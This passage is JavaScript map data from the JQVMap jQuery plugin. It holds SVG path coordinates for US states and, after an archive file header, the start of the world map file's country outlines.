-7.63,-6.5 -0.72,-3.61 -5.32,-1.16 -6.05,-4.61 -1.56,-2.09 -5.29,-0.37 -6.57,-3.78 -1.66,-2.1 -0.52,-5.5 -1.1,-8.1 -1.34,-2.93 1.65,-4.99 1.47,-7.54 -0.2,-3.22 -5.36,-3.85 -2.24,-7.43 0.41,-4.47 5.39,-5.33 7.61,-8.59 0.24,-3.87 -0.73,-8.14 0.52,-11.77 1.76,-3.14 5.17,-5.1 8.28,-6.26 1.92,-2.08 3.66,-4.57 6.13,-5.81 2.54,-4.97 6.04,-9.99 11.81,-11.4 4.55,-1.98 9.12,-3.92 13.6,-6.04 0.73,-3.15 -3.7,-0.18 -5.06,0.03 -0.82,-3.87 -4.2,-3.09 -7.28,-2.87 -2.25,-0.87 -5.34,2.83 -6,-0.66 -1.13,-3.5 -4.51,0.72 -5.88,2.13 -2.33,1.63 -6.22,1.16 -8.06,-0.56 0.94,-3.05 -4.61,-0.39 -4.53,-3.96 -0.16,-2.3 -3.48,1.3 -5.77,-1.2 -3.04,-0.91 -5.5,-3.22 -8.29,-4.38 -2.49,0.4 -5.86,-2.38 -6.7,1.5 -1.17,0.79 -7.15,1.83 -5.93,-1.54 -2.99,0.03 -6.03,-0.05 -7.53,-1.75 -2.6,0.59 -5.72,-0.41 -5.9,-3.43 -0.88,-3.28 -1.44,-6.61 -1.88,-9.98 -1.23,-0.6 -2.54,-1.02 -3.91,-1.06z","name":"Minnesota"},"ok":{"path":"m363.31,330.03c17.51,1.12 35.04,1.73 52.56,2.47 -1.37,13.62 -2.89,27.23 -2.83,40.93 -0.92,3.93 3.48,5.78 6.14,7.66 0.56,-5.56 2.96,1.46 4.25,-1.31 0.93,-1.5 5.57,1.68 3.39,4.42 1.59,0.66 4.76,0.51 6.73,1.82 2.79,-0.99 5.16,3.32 7.03,1.26 1.82,-1.93 5.59,-0.31 6.5,2.02 2.44,0.79 1.71,5.84 4.76,3.05 1.39,-1.65 6.25,-1.17 6.69,1.21 1.28,1.5 5.69,3.72 7.39,1.92 0.33,-2.75 3.38,-5.95 4.59,-1.83 3.59,0.38 6.96,2 10.46,3 2.28,-1.86 2.44,-4.68 6.53,-3.41 2.53,1.92 3.8,-1.41 6.31,-1.16 0.85,2.42 5.2,2.41 6.19,-0.5 3.2,-0.2 3.66,3.71 6.55,4.35 1.86,0.4 6.31,3.63 5.36,0.18 -0.32,-12.27 0.1,-24.59 -0.7,-36.82 -1.15,-6.03 -1.01,-12.18 -1.43,-18.25 -1.32,-5.29 -2.05,-10.73 -2.07,-16.18 -20.01,0.66 -40.04,-0.04 -60.06,-0.22 -27.85,-1.32 -55.73,-2.3 -83.53,-4.56 -0.27,3.31 -0.54,6.63 -0.81,9.94z","name":"Oklahoma"},"tx":{"path":"m359.47,330.97c2.34,-0.11 -0.86,-1.81 0,0z m0.72,18.31c-1.64,20.84 -2.52,41.75 -4.68,62.55 -0.51,4.33 -0.99,8.66 -1.51,12.98 -17.84,-0.87 -35.67,-1.93 -53.42,-3.89 -4.16,-0.41 -8.32,-0.76 -12.48,-1.11 -0.67,3.74 2.27,3.68 4.04,6.12 2.26,1.83 1.13,6.03 4.65,6.5 3.52,0.48 2.9,4.6 5.45,6.34 3.38,3.15 5.5,7.91 10.27,9.06 1.91,1.27 4,3.22 4.53,5.46 0.69,3.96 4.53,7.02 3.47,11.33 -0.88,5.15 2.22,9.63 5.93,12.88 2.18,2.95 5.14,4.76 8.63,5.78 1.88,1.95 3.01,3.88 5.72,4.88 2.59,0.18 5.38,4.34 7.35,1.18 2.59,-3.14 5.48,-6.41 6.05,-10.55 1.26,-2.82 3.58,-4.32 6.5,-5.06 2.72,-1.59 5.32,-2.13 7.47,0.62 4.91,0.57 10.2,0.53 14.79,2.22 2.83,1.43 2.56,4.53 5.17,6.33 1.73,2.05 4.83,3.37 5.81,5.82 1.37,2.07 2.66,4.26 2.69,7.03 1.62,4.34 4.17,8.51 5.31,12.94 -0.24,2.77 4.65,2.49 4.95,5.51 2.24,4.08 4.37,9.17 9.21,10.49 3.28,2 0.03,5.04 0.91,7.5 3.28,0.87 -0.01,4.68 0.94,6.67 2.53,1.36 4.37,3.2 4.22,6.44 0.39,3.34 2.13,6.83 5.69,7.54 3.01,1.93 6.69,2.13 9.87,3.4 2.28,1.79 5.15,4.09 8.16,2.83 3.46,0.46 6.77,1.29 9.37,3.75 1.43,2.54 6.51,-0.91 4.31,-2.89 -2.04,-3.39 -1.3,-7.79 -2.83,-11.46 -0.63,-3.07 -2.39,-5.95 -0.99,-9.1 1.17,-4.9 2.87,-9.76 4.04,-14.71 -3.37,-1.01 -2.07,-5.47 1.21,-4.71 3.99,0.42 3.65,-6.43 7.81,-6.05 5.25,-1.56 9.07,-6 14.16,-8.05 6.91,-2.81 13.62,-6.46 18.72,-12.05 2.58,-2.98 7.09,-3.95 8.69,-7.75 5,-2.22 9.8,-4.93 15.22,-6 -0.97,-2.64 0.52,-4.86 1.32,-7.22 0.39,-2.99 0.19,-6.07 1.18,-8.94 -3.15,-2.27 0.38,-4.91 1.38,-7.41 -0.2,-2.8 1.42,-6.25 0.09,-8.66 0.3,-2.93 -1.49,-5.14 -3.35,-7.29 -2.46,-2.64 -1.11,-6.91 -3.87,-9.52 -2.53,-4.57 -1.59,-10.19 -2.25,-15.22 0.02,-5 0.19,-10 -0.5,-14.97 -2.63,-2.31 -5.52,2.33 -7.52,-1.37 -3.1,-2.07 -7.66,-2.1 -9.73,-5.68 -2.31,-2.48 -3.82,2.84 -7.18,0.96 -1.91,-2.73 -3.59,0.03 -5.98,0.18 -2.27,-1.15 -6.07,-1.48 -6.09,1.76 -2.76,2.37 -5.95,-0.93 -8.94,-1.28 -3,1.38 -5.23,-3.83 -6.3,-1.87 -0.15,2.66 -2.52,5.1 -5.13,3.34 -3.23,-0.15 -4.91,-2.49 -6.57,-3.89 -2.95,-1.74 -4.3,2.32 -6.94,0.88 -1.48,-1.39 -1.87,-3.6 -3.92,-5.65 -3.06,-2.83 -5.03,3.17 -7.13,0.23 -2.05,-2.11 -5.57,-0.83 -7.94,-2.69 -3.56,0.59 -5.54,-0.24 -4.13,-4.11 -1.89,-1.85 -2.28,1.21 -4.77,-0.14 -0.59,-0.41 -3.45,1.78 -5,-1.11 -1.9,-1.9 -5.13,-3.22 -4.18,-6.45 0.03,-10.58 0.25,-21.15 1.66,-31.65 0.3,-2.99 0.6,-5.98 0.89,-8.98 -17.65,-0.63 -35.3,-1.27 -52.94,-2.22 -0.52,6.07 -1.04,12.15 -1.56,18.22z M466.53,518.63c-5.2,7.17 2.93,-3.27 0,0z","name":"Texas"},"nm":{"path":"m242.72,428.78c4.82,0.63 9.65,1.25 14.47,1.88 0.43,-3.33 0.85,-6.67 1.28,-10 9.7,0.89 19.4,1.86 29.09,2.78 -0.9,-3.14 -1.39,-5.98 2.84,-4.5 18.29,1.28 36.48,3.79 54.81,4.49 2.45,-0.6 7.66,2.13 7.99,-1.01 3.06,-22.93 3.75,-46.09 5.59,-69.14 0.54,-7.79 1.39,-15.56 2.02,-23.34 3.21,0.65 1.17,-4.81 2.07,-6.86 1.79,-4.38 -2.87,-3.37 -5.73,-3.85 -32.35,-3.3 -64.71,-6.59 -97.06,-9.89 -5.79,39.81 -11.58,79.63 -17.38,119.44z","name":"New Mexico"},"ks":{"path":"m380.53,320.34c25.06,1.17 50.11,2.71 75.19,3.35 17.22,0.07 34.44,0.63 51.66,0.18 -0.25,-12.69 0.23,-25.42 -0.47,-38.08 -0.61,-2.83 -0.17,-6.27 -1.38,-8.74 -3.04,-2.03 -6.02,-5.19 -6.68,-8.77 -0.43,-2.51 4.3,-4.59 1.29,-6.64 -3.02,0.54 -4.05,-3.34 -7.17,-2.43 -36.21,-0.82 -72.43,-1.33 -108.63,-2.5 -1.27,21.21 -2.54,42.42 -3.81,63.63z","name":"Kansas"},"ne":{"path":"m353.38,230.59c10.76,0.96 21.27,2.72 32.03,3.66 -0.37,7.11 -0.71,14.23 -1.06,21.34 36.49,1.29 73,1.84 109.5,2.56 -0.31,-1.17 -3.13,-4.05 -4.03,-6.15 -1.99,-2.11 -0.36,-5.13 -2.45,-7.34 -2.42,-3.19 -1.66,-7.14 -2.2,-10.79 -1.66,-2.86 -1.45,-6.25 -2.29,-9.26 -2.94,-2.85 -2.34,-7.01 -3.95,-10.49 -1.13,-3.1 -2.18,-6.19 -2.62,-9.47 -3.51,1.32 -2.89,-3.07 -4.85,-4.29 -2.4,-1.68 -5.57,-1.85 -7.72,-3.93 -3.79,0.07 -7.65,1.04 -11.13,1.94 -2.52,-2.2 -6.03,-3.13 -7.91,-6.06 -13.61,0.96 -27.23,-0.49 -40.83,-1.11 -15.5,-1.05 -31.02,-1.79 -46.51,-2.86 -1.67,14.08 -2.83,28.17 -4,42.25z","name":"Nebraska"},"sd":{"path":"m357.44,187.41c25.68,1.58 51.37,3.15 77.06,4.26 3.58,-0.01 7.34,-0.51 10.81,-0.23 1.8,2.9 5.24,3.85 7.69,6 3.55,-1.45 7.52,-1.89 11.25,-1.91 2.45,2.67 7.26,2.29 9.15,5.33 1.32,4.76 3.27,1.86 0.18,-1.15 -1.53,-2.17 1.46,-4.6 1.56,-6.99 1.2,-2.87 1.38,-5.28 -1.58,-6.75 -0.5,-2.04 -0.73,-6.65 2.41,-5.84 2.62,-0.28 0.39,-5.28 1.06,-7.5 -0.32,-9.7 0.19,-19.47 -0.64,-29.13 -0.24,-3.58 -6.26,-4.19 -5.42,-8.4 1.09,-1.22 5.81,-4.38 2.75,-5.4 -27.23,-0.89 -54.5,-1.01 -81.67,-3.15 -9.79,-0.62 -19.57,-1.24 -29.36,-1.86 -1.75,20.91 -3.5,41.81 -5.25,62.72z","name":"South Dakota"},"nd":{"path":"m362.88,123.72c26.46,1.49 52.89,3.7 79.4,3.91 10.84,0.26 21.67,0.52 32.51,0.78 0.01,-5.53 -1.38,-10.82 -2.5,-16.17 -1.27,-7.42 -2.05,-14.89 -2.13,-22.42 -2.61,-4.16 -4.11,-9 -3.48,-13.94 -0.44,-3.25 0.67,-6.57 0.3,-9.7 -0.15,-4.01 -2.83,-4.61 -6.31,-4.12 -25.15,-0.47 -50.33,-1.05 -75.41,-3.06 -5.17,-0.49 -10.33,-0.98 -15.5,-1.47 -2.29,22.06 -4.58,44.13 -6.88,66.19z","name":"North Dakota"},"wy":{"path":"m240.16,217.84c37.4,4.49 74.29,8.23 111.69,12.72 2.5,-29.2 5.5,-57.65 8,-86.84 -35.26,-4.45 -70.52,-8.9 -105.78,-13.34 -4.64,29.16 -9.27,58.31 -13.91,87.47z","name":"Wyoming"},"mt":{"path":"m192.59,52.19c0.84,2.76 3.25,5.4 3.2,8.23 -1.5,2.79 -1,5.49 0.52,8.15 3.4,0.39 4.18,3.44 5.26,6.16 1.43,3.34 2.55,6.88 5.37,9.34 0.88,2.21 5.27,1.18 4.34,4.72 -2.23,6.21 -5.45,12.23 -7.06,18.56 0.02,3.34 3.4,5.25 5.73,2.22 1.61,-2.43 5.63,-3.04 4.69,0.97 -0.5,5.3 1.81,10.35 2.59,15.53 1.9,2 5.27,3.44 5.68,6.31 -0.71,1.91 -0.39,8.78 2.32,5.14 1.85,-1.89 4.93,-0.29 6.85,0.86 3.28,-1.63 7.26,-1.21 10.34,0.69 3.69,0.41 1.52,-5 5.95,-4.08 2.71,-0.42 2.01,6.69 3.21,4.1 0.56,-3.26 1.09,-6.54 1.68,-9.8 35.57,4.49 71.15,8.96 106.72,13.44 2.9,-28.44 5.79,-56.88 8.69,-85.31 -28.84,-2.29 -57.55,-5.91 -86.19,-9.99 -26.71,-4.12 -53.36,-8.71 -79.73,-14.68 -3.05,-0.61 -6.99,-2.59 -6.53,2.19 -1.21,5.75 -2.42,11.51 -3.62,17.26z","name":"Montana"},"co":{"path":"m260.17,308.53c39.89,4.09 79.51,8.26 119.39,11.91 1.61,-28.46 3.23,-56.92 4.84,-85.38 -37.47,-4.17 -74.94,-8.33 -112.41,-12.5 -4.03,28.98 -7.8,56.99 -11.83,85.97z","name":"Colorado"},"id":{"path":"m169.84,91.72c0.52,3.07 2.27,5.25 4.94,6.78 0.4,3.02 -0.61,5.46 -3.03,7.31 -2.3,2.7 -4.38,5.97 -6.09,8.83 0.39,2.93 -2.57,3.54 -4.23,4.8 -1.77,2.31 -4.28,4.3 -3.93,7.5 -0.64,2.43 4.69,0.57 4.09,4.34 -5.19,11.17 -6.78,23.51 -10.13,35.32 -0.79,3.16 -1.22,4.91 -2.01,8.08 56.92,12.84 62.26,13.45 93.58,19.41 2.75,-17.6 5.5,-35.21 8.25,-52.81 -2.66,-0.84 -0.58,-6.52 -4.23,-4.97 -1.24,1.7 -1.62,4.95 -5.17,3.47 -3.11,-1.99 -6.81,-1.34 -10.13,-0.56 -2.53,-1.76 -5.91,-2.01 -7.69,0.88 -1.75,-0.05 -3.29,-3.39 -2.79,-5.36 1.91,-3.98 -2.85,-5.89 -5.05,-8.27 -0.98,-5.88 -3.48,-11.64 -2.5,-17.69 -1.86,-0.01 -4.25,2.69 -6.47,3.63 -2.21,0.18 -4.52,-3.09 -4.1,-5.31 1.19,-5.37 4.07,-10.37 5.88,-15.6 1.95,-2.64 1.12,-5.57 -2.41,-5.62 -1.55,-3.37 -4.92,-5.66 -5.61,-9.53 -1.31,-2.63 -1.42,-6.47 -5.06,-6.76 -0.99,-1.85 -3.18,-4.47 -1.91,-6.73 2.09,-2.98 -0.34,-5.7 -1.53,-8.5 -2.13,-3.05 0.55,-6.68 0.67,-10.01 0.9,-4.35 1.8,-8.69 2.69,-13.04 -4.18,-0.78 -8.35,-1.56 -12.53,-2.34 -4.5,20.92 -9,41.83 -13.5,62.75z","name":"Idaho"},"ut":{"path":"m176.34,297.78c27.57,3.92 55.15,7.83 82.72,11.75 4.04,-29.08 8.08,-58.17 12.13,-87.25 -10.83,-1.14 -21.65,-2.33 -32.47,-3.59 1.43,-7.93 2.82,-15.85 3.84,-23.84 -15.27,-2.85 -30.54,-5.71 -45.81,-8.56 -6.8,37.17 -13.6,74.33 -20.41,111.5z","name":"Utah"},"az":{"path":"m173.19,314.66c-2.49,-0.06 -3.05,4.43 -6.38,2.94 -0.74,-2.87 -3.59,-2.82 -5.59,-4.22 -3.74,0.74 -2.37,4.58 -2.68,7.41 -0.52,5.04 -0.42,10.21 -0.89,15.22 -2.19,2.33 -2.44,5.78 -0.24,8.19 2.32,2.62 0.58,7.52 4.09,9.09 0.98,3.59 -2.89,4.83 -5.41,6.09 -3.29,2.46 -3.28,6.86 -3.88,10.47 -1.25,2.44 -4.81,2.39 -4.92,4.97 0.47,2.18 6.18,0.38 3.42,4.54 -0.65,2.75 -3.14,3.45 -5.62,3.78 -3.6,1.45 -2.69,4.7 0.77,5.44 14.69,7.84 28.52,17.13 43.01,25.32 5.79,3.19 11.27,7.21 17.27,9.88 11.71,2.83 23.75,3.45 35.68,4.87 5.71,-39.38 11.42,-78.75 17.13,-118.13 -27.58,-3.93 -55.17,-7.85 -82.75,-11.78 -1,5.31 -2,10.63 -3,15.94z","name":"Arizona"},"nv":{"path":"m84.84,232.41c22.96,34.61 45.92,69.23 68.88,103.84 3.66,2.65 3.19,-3.47 3.27,-5.71 0.37,-5.43 0.36,-11.24 1.08,-16.44 2.05,-2.03 4.26,-2 6.08,-0.39 2.62,-0.16 3.86,5.9 6.03,1.27 2.74,-0.82 2.66,-3.64 3.13,-6.41 7.5,-40.87 15,-81.75 22.51,-122.62 -30.72,-6.81 -61.44,-13.63 -92.16,-20.44 -6.27,22.3 -12.54,44.6 -18.81,66.91z","name":"Nevada"},"or":{"path":"M67.16,62.81C64.24,70.42 62.73,78.57 58.5,85.63c-2.86,8.53 -5.96,16.93 -10.17,24.89 -3.06,6.61 -8,12.31 -11.32,18.7 -1.03,6.5 -0.64,13.05 -0.36,19.6 37.23,8.7 74.46,16.69 111.69,25.39 3.45,-13.15 6.51,-25.75 10.19,-38.81 1.2,-2.48 3.15,-6.06 -1.1,-5.42 -2.58,-1.78 -0.23,-4.45 -0.38,-6.91 2.3,-2.82 4.36,-5.82 7.47,-7.75 1.75,-5.08 5.43,-9.19 9.03,-13.06 1.66,-3.48 -2.46,-3.92 -3.39,-6.47 -0.25,-3.79 -3.56,-4.26 -6.62,-4.99 -7.63,-2.2 -15.38,-4.2 -23.21,-5.54 -4.9,0.03 -9.79,0.06 -14.69,0.09 -0.95,-2.84 -4.67,1.86 -7.11,0.5 -2.61,0.82 -4.42,-2.63 -6.57,-1.28 -2.61,-0.06 -5.23,0.11 -7.15,-1.87 -3.09,-1.53 -6.33,-1.81 -9.5,-3.1 -1.87,3.03 -5.69,1.22 -8.53,1.31 -1.65,-1.64 -5.79,-3.02 -6.03,-4.81 1.1,-2.44 0.78,-5.93 0.53,-8.59 -0.42,-3.92 -4.72,-2.63 -6.25,-4.49C74.59,58.67 69.45,62.45 67.16,62.81z","name":"Oregon"},"wa":{"path":"m101.38,8.72c0.05,2.75 2.93,5.39 3.25,8.16 -1.92,2.33 -1.78,5.19 -1.32,7.71 -1.81,2.64 1.63,4.82 0.67,7.42 -3.6,1.52 -2.43,-3.7 -4.86,-4.99 -3.34,-2.24 1.47,-3.87 1.17,-5.42 -2.5,-1.11 -2.24,3.88 -3.69,4.17C92.33,26.39 88.86,23.04 84.76,22.57 79.82,20.66 75.28,17.69 72.25,13.25c-3.13,-0.98 -1.96,4.97 -3.25,6.95 -0.63,2.8 2.59,5.06 1.41,8.21 0.52,3.86 -1.29,7.55 0.18,11.29 -1.06,2.88 4.75,5.54 2.94,6.39 -3.45,-1.05 -6.2,3.2 -2.25,4.34 1.57,0.97 -0.61,6.32 -3.3,5.43 -1.83,2.15 1.28,6.86 4.14,4.17 3.77,-1.55 2.75,3.51 5.83,3.13 2.81,-0.24 4.26,3.31 4.54,5.61 0.04,2.48 -0.15,6.02 -0.26,7.78 2.63,1.76 5.01,4.26 8.46,3.62 3.2,0.66 4.7,-3.26 7.97,-0.5 3.01,0.48 6.37,1.55 8.79,3.66 3.03,0.92 6.02,-1.78 8.19,1.05 3.44,1.3 6.67,0.03 9.84,-1.4 0.99,1.78 4.42,1.32 7,1.3 5.35,-0.19 10.68,-0.16 15.82,1.55 6.99,1.44 13.78,3.45 20.65,5.4 4.47,-20.85 8.94,-41.71 13.41,-62.56 -19.81,-3.93 -39.37,-9.21 -58.73,-14.66 -7.27,-1.53 -14.4,-3.52 -21.46,-5.87L101.75,8.45 101.38,8.72z M95.5,15.16C94.05,13.72 92.15,14.26 94.72,17.63 94.39,13.84 99.19,18.11 98.98,14.18 98.24,12.75 96.05,14.08 95.5,15.16z m2.31,1.91c-3.13,3.04 1.36,2.18 0.16,-0.25l-0.16,0.25z","name":"Washington"},"ca":{"path":"m35.06,153.94c-0.1,4.04 0.4,8.21 -1.99,11.75 -1.86,3.68 -2.55,8.24 -6.48,10.38 -1.19,2.11 -3.49,3.38 -3.59,6.45 -1.94,3.49 2.49,5.65 2.91,8.98 1.54,3.39 2.34,6.94 1.63,10.65 0,2.92 -2.79,5.01 -2.24,8.14 0.05,2.97 -2.24,5.87 0.04,8.54 2.58,5 6.38,9.93 6.71,15.69 -0.54,2.77 -0.99,5.37 1.81,7.17 1.6,1.95 4.49,3.66 2.79,6.46 -1.73,3.87 -1.14,8.04 -1.09,12.16 1.68,2.67 2.83,6.76 6.66,6.53 1.48,2.33 0.97,4.84 -0.22,7.13 -2.5,1.53 -4.36,2.73 -3.66,6.08 0.27,3.49 4.27,5.34 4.36,9.01 1.46,6.2 4.13,11.92 7.59,17.25 0.71,2.57 2.16,4.34 2.9,6.41 -0.24,3.33 -1.93,6.49 -2.41,9.87 -1.66,2.61 1.19,5.52 3.99,5.12 4.03,0.15 7.27,3.31 11.01,4.04 3,-0.55 4.74,2.9 6.07,5.11 1.54,2.71 2.37,6 5.76,6.88 2.51,1.14 6.19,0.05 7.17,3.45 2.41,2.72 -2.39,5.05 1.41,5.17 2.73,1.87 5.56,-1.74 7.56,-0.74 2.13,2.06 4.05,4.2 4.93,7.05 4.3,4.9 1.44,11.77 2.79,17.52 14.73,1.94 29.44,4.72 44.27,5.38 2.78,1.19 6.19,-4.43 2.84,-4.65 -3.13,0.64 -2.83,-4.02 -1.36,-4.66 3.15,-0.88 4.92,-3.83 4.65,-7.04 0.47,-3.98 3.27,-7.43 7.22,-8.4 3.43,-2.04 -0.33,-3.58 -0.79,-5.79 -0.23,-3.65 -1.95,-6.81 -3.62,-9.89 2.02,-3.66 -2.22,-3.32 -3.16,-6.24 -22.6,-34.1 -45.2,-68.19 -67.81,-102.29 6.27,-22.44 12.54,-44.88 18.81,-67.31 -22.04,-5.16 -44.08,-10.31 -66.13,-15.47 -0.45,1.38 -0.9,2.75 -1.34,4.13z m24.13,184.72c-0.27,3.05 7.99,3.06 4.7,2.07 -1.63,-0.35 -3.17,-2.46 -4.7,-2.07z m-5.16,0.38c0.33,3.71 5.81,0.51 1.31,-0.04 -0.44,0.01 -0.88,0.02 -1.31,0.04z M79.69,357.5c-0.2,1.58 4.42,6 3.16,2.37C82.22,358.91 80.8,357.6 79.69,357.5z M77.75,369.13c-0.14,1.55 3.2,3.89 1.32,1.26C78.6,369.72 77.39,366.55 77.75,369.13z","name":"California"}}});
js/jqvmap/maps/jquery.vmap.world.js000060400000166270150710775200013377 0ustar00/** Add World Map Data Points */
jQuery.fn.vectorMap('addMap', 'world_en', {"width":950,"height":550,"pathes":{"id":{"path":"M781.68,324.4l-2.31,8.68l-12.53,4.23l-3.75-4.4l-1.82,0.5l3.4,13.12l5.09,0.57l6.79,2.57v2.57l3.11-0.57l4.53-6.27v-5.13l2.55-5.13l2.83,0.57l-3.4-7.13l-0.52-4.59L781.68,324.4L781.68,324.4M722.48,317.57l-0.28,2.28l6.79,11.41h1.98l14.15,23.67l5.66,0.57l2.83-8.27l-4.53-2.85l-0.85-4.56L722.48,317.57L722.48,317.57M789.53,349.11l2.26,2.77l-1.47,4.16v0.79h3.34l1.18-10.4l1.08,0.3l1.96,9.5l1.87,0.5l1.77-4.06l-1.77-6.14l-1.47-2.67l4.62-3.37l-1.08-1.49l-4.42,2.87h-1.18l-2.16-3.17l0.69-1.39l3.64-1.78l5.5,1.68l1.67-0.1l4.13-3.86l-1.67-1.68l-3.83,2.97h-2.46l-3.73-1.78l-2.65,0.1l-2.95,4.75l-1.87,8.22L789.53,349.11L789.53,349.11M814.19,330.5l-1.87,4.55l2.95,3.86h0.98l1.28-2.57l0.69-0.89l-1.28-1.39l-1.87-0.69L814.19,330.5L814.19,330.5M819.99,345.45l-4.03,0.89l-1.18,1.29l0.98,1.68l2.65-0.99l1.67-0.99l2.46,1.98l1.08-0.89l-1.96-2.38L819.99,345.45L819.99,345.45M753.17,358.32l-2.75,1.88l0.59,1.58l8.75,1.98l4.42,0.79l1.87,1.98l5.01,0.4l2.36,1.98l2.16-0.5l1.97-1.78l-3.64-1.68l-3.14-2.67l-8.16-1.98L753.17,358.32L753.17,358.32M781.77,366.93l-2.16,1.19l1.28,1.39l3.14-1.19L781.77,366.93L781.77,366.93M785.5,366.04l0.39,1.88l2.26,0.59l0.88-1.09l-0.98-1.49L785.5,366.04L785.5,366.04M790.91,370.99l-2.75,0.4l2.46,2.08h1.96L790.91,370.99L790.91,370.99M791.69,367.72l-0.59,1.19l4.42,0.69l3.44-1.98l-1.96-0.59l-3.14,0.89l-1.18-0.99L791.69,367.72L791.69,367.72M831.93,339.34l-4.17,0.47l-2.68,1.96l1.11,2.24l4.54,0.84v0.84l-2.87,2.33l1.39,4.85l1.39,0.09l1.2-4.76h2.22l0.93,4.66l10.83,8.96l0.28,7l3.7,4.01l1.67-0.09l0.37-24.72l-6.29-4.38l-5.93,4.01l-2.13,1.31l-3.52-2.24l-0.09-7.09L831.93,339.34L831.93,339.34z","name":"Indonesia"},"pg":{"path":"M852.76,348.29l-0.37,24.44l3.52-0.19l4.63-5.41l3.89,0.19l2.5,2.24l0.83,6.9l7.96,4.2l2.04-0.75v-2.52l-6.39-5.32l-3.15-7.28l2.5-1.21l-1.85-4.01l-3.7-0.09l-0.93-4.29l-9.81-6.62L852.76,348.29L852.76,348.29M880.48,349l-0.88,1.25l4.81,4.26l0.66,2.5l1.31-0.15l0.15-2.57l-1.46-1.32L880.48,349L880.48,349M882.89,355.03l-0.95,0.22l-0.58,2.57l-1.82,1.18l-5.47,0.96l0.22,2.06l5.76-0.29l3.65-2.28l-0.22-3.97L882.89,355.03L882.89,355.03M889.38,359.51l1.24,3.45l2.19,2.13l0.66-0.59l-0.22-2.28l-2.48-3.01L889.38,359.51L889.38,359.51z","name":"Papua New Guinea"},"mx":{"path":"M137.49,225.43l4.83,15.21l-2.25,1.26l0.25,3.02l4.25,3.27v6.05l5.25,5.04l-2.25-14.86l-3-9.83l0.75-6.8l2.5,0.25l1,2.27l-1,5.79l13,25.44v9.07l10.5,12.34l11.5,5.29l4.75-2.77l6.75,5.54l4-4.03l-1.75-4.54l5.75-1.76l1.75,1.01l1.75-1.76h2.75l5-8.82l-2.5-2.27l-9.75,2.27l-2.25,6.55l-5.75,1.01l-6.75-2.77l-3-9.57l2.27-12.07l-4.64-2.89l-2.21-11.59l-1.85-0.79l-3.38,3.43l-3.88-2.07l-1.52-7.73l-15.37-1.61l-7.94-5.97L137.49,225.43L137.49,225.43z","name":"Mexico"},"ee":{"path":"M517.77,143.66l-5.6-0.2l-3.55,2.17l-0.05,1.61l2.3,2.17l7.15,1.21L517.77,143.66L517.77,143.66M506.76,147.64l-1.55-0.05l-0.9,0.91l0.65,0.96l1.55,0.1l0.8-1.16L506.76,147.64L506.76,147.64z","name":"Estonia"},"dz":{"path":"M473.88,227.49l-4.08-1.37l-16.98,3.19l-3.7,2.81l2.26,11.67l-6.75,0.27l-4.06,6.53l-9.67,2.32l0.03,4.75l31.85,24.35l5.43,0.46l18.11-14.15l-1.81-2.28l-3.4-0.46l-2.04-3.42v-14.15l-1.36-1.37l0.23-3.65l-3.62-3.65l-0.45-3.88l1.58-1.14l-0.68-4.11L473.88,227.49L473.88,227.49z","name":"Algeria"},"ma":{"path":"M448.29,232.28h-11.55l-2.26,5.02l-5.21,2.51l-4.3,11.64l-8.38,5.02l-11.77,19.39l11.55-0.23l0.45-5.7h2.94v-7.76h10.19l0.23-10.04l9.74-2.28l4.08-6.62l6.34-0.23L448.29,232.28L448.29,232.28z","name":"Morocco"},"mr":{"path":"M404.9,276.66l2.18,2.85l-0.45,12.32l3.17-2.28l2.26-0.46l3.17,1.14l3.62,5.02l3.4-2.28l16.53-0.23l-4.08-27.61l4.38-0.02l-8.16-6.25l0.01,4.06l-10.33,0.01l-0.05,7.75l-2.97-0.01l-0.38,5.72L404.9,276.66L404.9,276.66z","name":"Mauritania"},"sn":{"path":"M412.03,289.84L410.12,290.31L406.18,293.18L405.28,294.78L405,296.37L406.43,297.40L411.28,297.34L414.40,296.5L414.75,298.03L414.46,300.06L414.53,300.09L406.78,300.21L408.03,303.21L408.71,301.37L418,302.15L418.06,302.21L419.03,302.25L422,302.37L422.12,300.62L418.53,296.31L414.53,290.87L412.03,289.84z","name":"Senegal"},"gm":{"path":"M406.89,298.34l-0.13,1.11l6.92-0.1l0.35-1.03l-0.15-1.04l-1.99,0.81L406.89,298.34L406.89,298.34z","name":"Gambia"},"gw":{"path":"M408.6,304.53l1.4,2.77l3.93-3.38l0.04-1.04l-4.63-0.67L408.6,304.53L408.6,304.53z","name":"Guinea-Bissau"},"gn":{"path":"M410.42,307.94l3.04,4.68l3.96-3.44l4.06-0.18l3.38,4.49l2.87,1.89l1.08-2.1l0.96-0.54l-0.07-4.62l-1.91-5.48l-5.86,0.65l-7.25-0.58l-0.04,1.86L410.42,307.94L410.42,307.94z","name":"Guinea"},"sl":{"path":"M413.93,313.13l5.65,5.46l4.03-4.89l-2.52-3.95l-3.47,0.35L413.93,313.13L413.93,313.13z","name":"Sierra Leone"},"lr":{"path":"M420.17,319.19l10.98,7.34l-0.26-5.56l-3.32-3.91l-3.24-2.87L420.17,319.19L420.17,319.19z","name":"Liberia"},"ci":{"path":"M432.07,326.75l4.28-3.03l5.32-0.93l5.43,1.17l-2.77-4.19l-0.81-2.56l0.81-7.57l-4.85,0.23l-2.2-2.1l-4.62,0.12l-2.2,0.35l0.23,5.12l-1.16,0.47l-1.39,2.56l3.58,4.19L432.07,326.75L432.07,326.75z","name":"Cote d'Ivoire"},"ml":{"path":"M419.46,295.84l3.08-2.11l17.12-0.1l-3.96-27.54l4.52-0.13l21.87,16.69l2.94,0.42l-1.11,9.28l-13.75,1.25l-10.61,7.92l-1.93,5.42l-7.37,0.31l-1.88-5.41l-5.65,0.4l0.22-1.77L419.46,295.84L419.46,295.84z","name":"Mali"},"bf":{"path":"M450.59,294.28l3.64-0.29l5.97,8.44l-5.54,4.18l-4.01-1.03l-5.39,0.07l-0.87,3.16l-4.52,0.22l-1.24-1.69l1.6-5.14L450.59,294.28L450.59,294.28z","name":"Burkina 